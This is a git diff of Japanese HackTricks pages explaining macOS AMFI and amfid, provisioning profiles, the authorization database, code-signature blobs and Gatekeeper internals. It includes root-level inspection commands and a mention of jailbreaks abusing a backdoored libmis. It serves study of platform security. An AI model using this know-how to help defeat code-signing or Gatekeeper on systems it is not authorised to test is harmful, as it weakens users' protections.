* **`proc_check_get_task`**: `get-task-allow`のような権限を確認し、他のプロセスがタスクポートを取得できるか、`task_for_pid-allow`が許可されているかを確認します。どちらもない場合、`amfid permitunrestricteddebugging`を呼び出して許可されているかを確認します。
* **`proc_check_mprotect`**: `mprotect`がフラグ`VM_PROT_TRUSTED`で呼び出された場合、拒否します。これは、その領域が有効なコード署名を持っているかのように扱われるべきことを示します。
* **`vnode_check_exec`**: 実行可能ファイルがメモリに読み込まれるときに呼び出され、`cs_hard | cs_kill`を設定します。これにより、ページが無効になるとプロセスが終了します。
* **`vnode_check_getextattr`**: MacOS: `com.apple.root.installed`と`isVnodeQuarantined()`を確認
* **`vnode_check_setextattr`**: get + com.apple.private.allow-blessおよび内部インストーラー相当の権限
* &#x20;**`vnode_check_signature`**: 権限、信頼キャッシュ、および`amfid`を使用してコード署名を確認するためにXNUを呼び出すコード
* &#x20;**`proc_check_run_cs_invalid`**: `ptrace()`呼び出し(`PT_ATTACH`および`PT_TRACE_ME`)をインターセプトします。`get-task-allow`、`run-invalid-allow`、および`run-unsigned-code`のいずれかの権限があるかを確認し、いずれもない場合はデバッグが許可されているかを確認します。
* **`proc_check_map_anon`**: mmapが**`MAP_JIT`**フラグで呼び出された場合、AMFIは`dynamic-codesigning`権限を確認します。
`AMFI.kext`は他のカーネル拡張のためのAPIも公開しており、その依存関係を見つけることが可能です
```bash
kextstat | grep " 19 " | cut -c2-5,50- | cut -d '(' -f1
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
8 com.apple.kec.corecrypto
19 com.apple.driver.AppleMobileFileIntegrity
22 com.apple.security.sandbox
24 com.apple.AppleSystemPolicy
67 com.apple.iokit.IOUSBHostFamily
70 com.apple.driver.AppleUSBTDM
71 com.apple.driver.AppleSEPKeyStore
74 com.apple.iokit.EndpointSecurity
81 com.apple.iokit.IOUserEthernet
101 com.apple.iokit.IO80211Family
102 com.apple.driver.AppleBCMWLANCore
118 com.apple.driver.AppleEmbeddedUSBHost
134 com.apple.iokit.IOGPUFamily
135 com.apple.AGXG13X
137 com.apple.iokit.IOMobileGraphicsFamily
138 com.apple.iokit.IOMobileGraphicsFamily-DCP
162 com.apple.iokit.IONVMeFamily
```
## amfid
これは、`AMFI.kext`がユーザーモードでコード署名をチェックするために使用するユーザーモードのデーモンです。\
`AMFI.kext`がデーモンと通信するためには、特別なポート`18`である`HOST_AMFID_PORT`を介してmachメッセージを使用します。
macOSでは、特別なポートをrootプロセスがハイジャックすることはもはや不可能であり、これらは`SIP`によって保護されており、launchdのみがそれらを取得できます。iOSでは、応答を返すプロセスが`amfid`のCDHashをハードコーディングしていることがチェックされます。
`amfid`がバイナリをチェックするように要求されたときとその応答を見ることが可能であり、デバッグして`mach_msg`にブレークポイントを設定することで確認できます。
特別なポートを介してメッセージが受信されると、**MIG**が呼び出されている関数に各関数を送信するために使用されます。主要な関数は逆アセンブルされ、本書内で説明されています。
## Provisioning Profiles
プロビジョニングプロファイルは、コードに署名するために使用できます。コードに署名してテストするために使用できる**Developer**プロファイルと、すべてのデバイスで使用できる**Enterprise**プロファイルがあります。
アプリがApple Storeに提出され、承認されると、Appleによって署名され、プロビジョニングプロファイルはもはや必要ありません。
プロファイルは通常、拡張子`.mobileprovision`または`.provisionprofile`を使用し、次のコマンドでダンプできます:
```bash
openssl asn1parse -inform der -in /path/to/profile
# Or
security cms -D -i /path/to/profile
```
Although sometimes referred as certificated, these provisioning profiles have more than a certificate:
* **AppIDName:** アプリケーション識別子
* **AppleInternalProfile**: これをApple内部プロファイルとして指定
* **ApplicationIdentifierPrefix**: AppIDNameの前に追加されるTeamIdentifierと同じ
* **CreationDate**: `YYYY-MM-DDTHH:mm:ssZ`形式の日付
* **DeveloperCertificates**: Base64データとしてエンコードされた通常は1つの証明書の配列
* **Entitlements**: このプロファイルに許可されている権利
* **ExpirationDate**: `YYYY-MM-DDTHH:mm:ssZ`形式の有効期限
* **Name**: アプリケーション名、AppIDNameと同じ
* **ProvisionedDevices**: このプロファイルが有効なUDIDの配列開発者証明書用
* **ProvisionsAllDevices**: ブール値企業証明書の場合はtrue
* **TeamIdentifier**: アプリ間の相互作用の目的で開発者を識別するために使用される通常は1つの英数字の文字列の配列
* **TeamName**: 開発者を識別するために使用される人間が読める名前
* **TimeToLive**: 証明書の有効期間(日数)
* **UUID**: このプロファイルのユニバーサルユニーク識別子
* **Version**: 現在1に設定されています
権利のエントリには制限された権利のセットが含まれ、このプロビジョニングプロファイルはAppleのプライベート権利を与えないように特定の権利のみを与えることができます。
プロファイルは通常`/var/MobileDeviceProvisioningProfiles`にあり、**`security cms -D -i /path/to/profile`**で確認することができます。
## **libmis.dyld**
これは`amfid`が何かを許可すべきかどうかを尋ねるために呼び出す外部ライブラリです。これは、すべてを許可するバックドア付きのバージョンを実行することによって、脱獄で歴史的に悪用されてきました。
macOSでは、これは`MobileDevice.framework`内にあります。
## AMFI Trust Caches
iOS AMFIは、アドホックに署名された既知のハッシュのリストを維持しており、これを**Trust Cache**と呼び、kextの`__TEXT.__const`セクションにあります。非常に特定の敏感な操作では、外部ファイルでこのTrust Cacheを拡張することが可能です。
## References
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -0,0 +1,112 @@
# macOS Authorizations DB & Authd
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **認可データベース**
`/var/db/auth.db`にあるデータベースは、機密操作を実行するための権限を保存するために使用されます。これらの操作は完全に**ユーザースペース**で実行され、通常は**XPCサービス**によって使用され、特定のアクションを実行するために**呼び出し元クライアントが認可されているかどうか**をこのデータベースをチェックして確認します。
最初にこのデータベースは`/System/Library/Security/authorization.plist`の内容から作成されます。その後、一部のサービスがこのデータベースに他の権限を追加または変更することがあります。
ルールはデータベース内の`rules`テーブルに保存され、以下の列を含みます:
* **id**: 各ルールの一意の識別子で、自動的にインクリメントされ、主キーとして機能します。
* **name**: 認可システム内でルールを識別し参照するために使用される一意の名前。
* **type**: ルールのタイプを指定し、認可ロジックを定義するために1または2の値に制限されます。
* **class**: ルールを特定のクラスに分類し、正の整数であることを保証します。
* "allow"は許可、"deny"は拒否、"user"はグループプロパティがアクセスを許可するメンバーシップを示す場合、"rule"は満たすべきルールを配列で示し、"evaluate-mechanisms"は`mechanisms`配列に続き、これらは組み込みまたは`/System/Library/CoreServices/SecurityAgentPlugins/`または/Library/Security//SecurityAgentPlugins内のバンドルの名前です。
* **group**: グループベースの認可のためにルールに関連付けられたユーザーグループを示します。
* **kofn**: "k-of-n"パラメータを表し、満たすべきサブルールの数を決定します。
* **timeout**: ルールによって付与された認可が期限切れになるまでの秒数を定義します。
* **flags**: ルールの動作と特性を変更するさまざまなフラグを含みます。
* **tries**: セキュリティを強化するために許可される認可試行の回数を制限します。
* **version**: ルールのバージョンを追跡し、バージョン管理と更新を行います。
* **created**: ルールが作成されたタイムスタンプを記録し、監査目的で使用します。
* **modified**: ルールに対する最後の変更のタイムスタンプを保存します。
* **hash**: ルールのハッシュ値を保持し、その整合性を確保し、改ざんを検出します。
* **identifier**: ルールへの外部参照のためのUUIDなどの一意の文字列識別子を提供します。
* **requirement**: ルールの特定の認可要件とメカニズムを定義するシリアライズされたデータを含みます。
* **comment**: ドキュメントと明確さのためにルールに関する人間が読める説明またはコメントを提供します。
### 例
```bash
# List by name and comments
sudo sqlite3 /var/db/auth.db "select name, comment from rules"
# Get rules for com.apple.tcc.util.admin
security authorizationdb read com.apple.tcc.util.admin
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>rule</string>
<key>comment</key>
<string>For modification of TCC settings.</string>
<key>created</key>
<real>701369782.01043606</real>
<key>modified</key>
<real>701369782.01043606</real>
<key>rule</key>
<array>
<string>authenticate-admin-nonshared</string>
</array>
<key>version</key>
<integer>0</integer>
</dict>
</plist>
```
さらに、[https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/](https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/) では、`authenticate-admin-nonshared` の意味を見ることができます:
```json
{
'allow-root' : 'false',
'authenticate-user' : 'true',
'class' : 'user',
'comment' : 'Authenticate as an administrator.',
'group' : 'admin',
'session-owner' : 'false',
'shared' : 'false',
'timeout' : '30',
'tries' : '10000',
'version' : '1'
}
```
## Authd
これは、クライアントが機密のアクションを実行するための承認リクエストを受け取るデーモンです。`XPCServices/`フォルダー内に定義されたXPCサービスとして機能し、ログは`/var/log/authd.log`に書き込まれます。
さらに、セキュリティツールを使用すると、多くの`Security.framework` APIをテストすることが可能です。例えば、`AuthorizationExecuteWithPrivileges`を実行するには、次のようにします: `security execute-with-privileges /bin/ls`
これにより、`/usr/libexec/security_authtrampoline /bin/ls`がrootとしてフォークされ、lsをrootとして実行するための権限を求めるプロンプトが表示されます:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -19,10 +19,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
Mach-o バイナリには、バイナリ内の署名の **オフセット****サイズ** を示す **`LC_CODE_SIGNATURE`** というロードコマンドが含まれています。実際、GUIツールのMachOViewを使用すると、バイナリの最後にこの情報を含む **Code Signature** というセクションを見つけることができます:
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
Code Signatureのマジックヘッダーは **`0xFADE0CC0`** です。次に、これらを含むスーパーブロブの長さやブロブの数などの情報があります。\
この情報は、[こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276)で見つけることができます:
この情報は、[こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) で見つけることができます:
```c
/*
* Structure of an embedded-signature SuperBlob
@ -58,7 +58,7 @@ __attribute__ ((aligned(1)));
## コードディレクトリブロブ
[コードディレクトリブロブの宣言をコード内で見つけることができます](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
[コードディレクトリブロブの宣言をコード内で見つけることができます](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104):
```c
typedef struct __CodeDirectory {
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
@ -175,7 +175,7 @@ MacOSアプリケーションは、バイナリ内で実行するために必要
## Code Signing Flags
すべてのプロセスには、カーネルによって開始される`status`として知られるビットマスクが関連付けられており、その一部は**コード署名**によって上書きされる可能性があります。コード署名に含めることができるこれらのフラグは[コードで定義されています](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36)
すべてのプロセスには、カーネルによって開始される`status`として知られるビットマスクが関連付けられており、その一部は**コード署名**によって上書きされる可能性があります。これらのフラグは[コードで定義されています](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36)
```c
/* code signing attributes of a process */
#define CS_VALID 0x00000001 /* dynamically valid */
@ -226,7 +226,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis
各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **保持** しています。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。
バイナリの要件は **特別な文法** を使用し、**式** のストリームとして表現され、`0xfade0c00` をマジックとして使用してバイナリデータとしてエンコードされ、その **ハッシュは特別なコードスロットに保存されます**
バイナリの要件は **特別な文法** を使用し、**式** のストリームとして表現され、`0xfade0c00` をマジックとして使用してバイナリとしてエンコードされ、その **ハッシュは特別なコードスロットに保存されます**
バイナリの要件は、次のコマンドを実行することで確認できます:
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
{% endcode %}
{% hint style="info" %}
この署名が認証情報、TeamID、ID、権限、およびその他のデータを確認できることに注意してください。
この署名が認証情報、TeamID、ID、権限、その他多くのデータを確認できることに注意してください。
{% endhint %}
さらに、`csreq`ツールを使用していくつかのコンパイルされた要件を生成することが可能です:
@ -262,7 +262,7 @@ od -A x -t x1 /tmp/output.csreq
```
{% endcode %}
この情報にアクセスし、`Security.framework`のいくつかのAPIを使用して要件を作成または変更することが可能です
この情報にアクセスし、`Security.framework`のいくつかのAPIを使用して要件を作成または変更することが可能です
#### **有効性の確認**
@ -308,7 +308,7 @@ od -A x -t x1 /tmp/output.csreq
## コード署名の強制
**カーネル**は、アプリのコードを実行する前に**コード署名を確認**します。さらに、メモリ内に新しいコードを書き込み実行するための一つの方法は、`mprotect`が`MAP_JIT`フラグで呼び出されることを悪用することです。この操作を行うには、アプリケーションに特別な権限が必要です。
**カーネル**は、アプリのコードを実行する前に**コード署名を確認**します。さらに、メモリ内に新しいコードを書き込み実行するための一つの方法は、`mprotect`が`MAP_JIT`フラグで呼び出されることを悪用することです。この操作を行うには、アプリケーションに特別な権限が必要です。
## `cs_blobs` & `cs_blob`
@ -384,7 +384,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -1,8 +1,8 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,29 +21,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Gatekeeper
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを実行する**ことを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証する**ことによって機能します。
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを実行する**ことを保証するように設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証する**ことによって機能します。
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによって公証されているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、公証後に改ざんされていないことを確認します。
加えて、Gatekeeperは、**ユーザーダウンロードしたソフトウェアを初めて開くことを承認するよう促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
加えて、Gatekeeperは、**ユーザーダウンロードしたソフトウェアを初めて開くことを承認するよう促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
### アプリケーション署名
### Application Signatures
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認する**ために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
以下はその仕組みです:
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書に関連付けられています**。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
2. **アプリケーションの配布:** 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者が署名して以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書**に関連付けられています。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
2. **アプリケーションの配布:** 署名されたアプリケーションは、開発者の証明書とにユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。これがAppleによって知られた開発者に発行された証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが知られた開発者に発行した証明書で署名されており、コードが改ざんされていない場合、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
macOS Catalina以降、**GatekeeperはアプリケーションがAppleによって公証されているかどうかも確認します**。これにより、セキュリティの追加層が加わります。公証プロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。
#### 署名の確認
#### Check Signatures
いくつかの**マルウェアサンプル**を確認する際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性があるためです。**
いくつかの**マルウェアサンプル**をチェックする際は、**署名を確認する**ことが常に重要です。署名した**開発者**がすでに**マルウェアに関連している**可能性があるためです。
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -62,30 +62,34 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Appleのータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護するための追加の安全策として機能します。これは、**開発者が自分のアプリケーションを** **Appleのータリーサービス**に審査のために提出することを含み、App Reviewと混同しないでください。このサービスは、**自動化されたシステム**であり、提出されたソフトウェアに**悪意のあるコンテンツ**やコード署名に関する潜在的な問題がないかを精査します。
Appleのータリゼーションプロセスは、ユーザーを潜在的に有害なソフトウェアから保護するための追加の安全策として機能します。これは、**開発者が自分のアプリケーションを** **Appleのータリーサービス**に審査のために提出することを含み、App Reviewと混同しないでください。このサービスは、**自動化されたシステム**であり、提出されたソフトウェアに**悪意のあるコンテンツ**やコード署名に関する潜在的な問題がないかを精査します。
ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はその後、**このチケットを自分のソフトウェアに添付する**必要があり、このプロセスは「ステープリング」と呼ばれます。さらに、ータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。
ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はこのチケットを**自分のソフトウェアに添付する**必要があり、このプロセスは「ステープリング」として知られています。さらに、ータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。
ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **GatekeeperにそのソフトウェアがAppleによってータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼が高まります。
ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **Gatekeeperに対してそのソフトウェアがAppleによってータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼が高まります。
### Enumerating GateKeeper
### spctl & syspolicyd
GateKeeperは、**信頼されていないアプリの実行を防ぐいくつかのセキュリティコンポーネント**であり、また**そのコンポーネントの一つ**でもあります。
{% hint style="danger" %}
Sequoiaバージョンから、**`spctl`**はもはやGatekeeperの設定を変更することを許可しませんので注意してください。
{% endhint %}
GateKeeperの**ステータス**を確認することができます:
**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールですXPCメッセージを介して`syspolicyd`デーモンと。例えば、次のコマンドでGatekeeperの**ステータス**を確認することができます:
```bash
# Check the status
spctl --status
```
{% hint style="danger" %}
注意してください。GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
{% endhint %}
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します:
<figure><img src="../../../.gitbook/assets/image (1150).png" alt=""><figcaption></figcaption></figure>
この設定を保持するデータベースは**`/var/db/SystemPolicy`**にあります。rootとしてこのデータベースを確認することができます
**`syspolicyd`**は、Gatekeeperを強制するための主要なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/policydb.cpp)と[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。
さらに、バンドル**`/var/db/gke.bundle`**と**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを含むファイルがあります。このデータベースはrootとして次のコマンドで確認できます
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -99,10 +103,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
注意してください、最初のルールは "**App Store**" で終わり、2番目のルールは "**Developer ID**" で終わり、前の画像では **App Store と認識された開発者からのアプリを実行することが有効になっていました**。\
その設定を App Store に **変更**すると、"**Notarized Developer ID**" ルールは消えます。
**`syspolicyd`** は、`assess`、`update`、`record`、`cancel` などの異なる操作を持つ XPC サーバーも公開しており、これらは **`Security.framework`** の `SecAssessment*` API を使用してアクセス可能です。また、**`xpctl`** は実際に XPC を介して **`syspolicyd`** と通信します。
また、**タイプ GKE** のルールが数千あります:
最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わることに注意してください。また、前の画像では **App Store と認識された開発者からのアプリを実行することが有効** でした。\
その設定を App Store に **変更**すると、"**Notarized Developer ID" ルールは消えます**
**type GKE** のルールも数千あります:
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -111,13 +117,17 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
これらは**`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`、`/var/db/gke.bundle/Contents/Resources/gk.db`**および**`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**からのハッシュです。
これらは次の場所からのハッシュです:
または、次の情報をリストすることもできます:
* `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
* `/var/db/gke.bundle/Contents/Resources/gk.db`
* `/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`
または、次のコマンドで前の情報をリストすることができます:
```bash
sudo spctl --list
```
